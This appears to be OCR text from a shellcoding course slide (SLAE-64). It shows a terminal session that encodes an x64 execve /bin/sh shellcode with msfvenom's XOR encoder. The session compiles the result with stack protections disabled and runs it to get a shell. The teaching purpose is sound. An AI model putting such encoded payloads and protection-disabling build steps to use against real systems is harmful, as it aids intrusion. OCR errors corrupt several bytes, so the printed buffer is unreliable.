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Module 2: Introduction to Shellcoding

20. Custom Payload with Metasploit Encoders
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Metasploit Options

‘ Ubuntu 12.04 LTS 64-Bit SLAE [Running] - Oracle VM VirtualBox

pentesteracademy@pentesteracademy-VirtualBox: ~/SLAE-64/Shellcode/Execve-Stack 13 ) 8:28AM R pentesteracademy il
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pentesteracademys y-V ox: ~/SLAE-64/Shellcode/Execve-Stack #® pentesteracademy@pentesteracademy-VirtualBox: ~/SLAE-64/Shellcode/Execve-Stack ®

PentesterAcademy# echo -ne "\x48\x31\xcO\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\
x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05" | msfvenom -f c -e x64/xor -a x64 --platform linux -b "\x00"

[*] x64/xor succeeded with size 71 (iteration=1)

unsigned char buf[] =

"\x48\x31\xc9\x48\x81\xe9\xfc\xff\xff\xff\x48\x8d\x05\xef\xff"
"\XTF\xTT\x48\xbb\x8e\xel\x97\x62\xal\xe8\x13\x3e\x48\x31\x58"
"\x27\x48\x2d\xF8\xfF\xff\xff\xe2\xf4\xc6\xd0\x57\x32\xe9\x53"
"\x3c\x5c\xe7\x8f\xb8\x4d\xd2\x80\x40\x76\x07\x06\xc7\x2a\x28"

"\x0a\x44\x76\x07\x07\xdf\xel\x61\xd3\x1lc\x3b";

PentesterAcademy#

PentesterAcademy#

PentesterAcademy# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

PentesterAcademy#

PentesterAcademy# ./shellcode

Shellcode Length: 71

)
$ id

uid=1000(pentesteracademy) gid=1000(pentesteracademy) groups=1000(pentesteracademy),4(adm),24(cdrom),27(sudo),30(dip)
,4ﬁ(p1ugdev),109(1padmin),124(sambashare)
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Pentester Academy

PentesterAcademy a SecurityTube.net initiative oo
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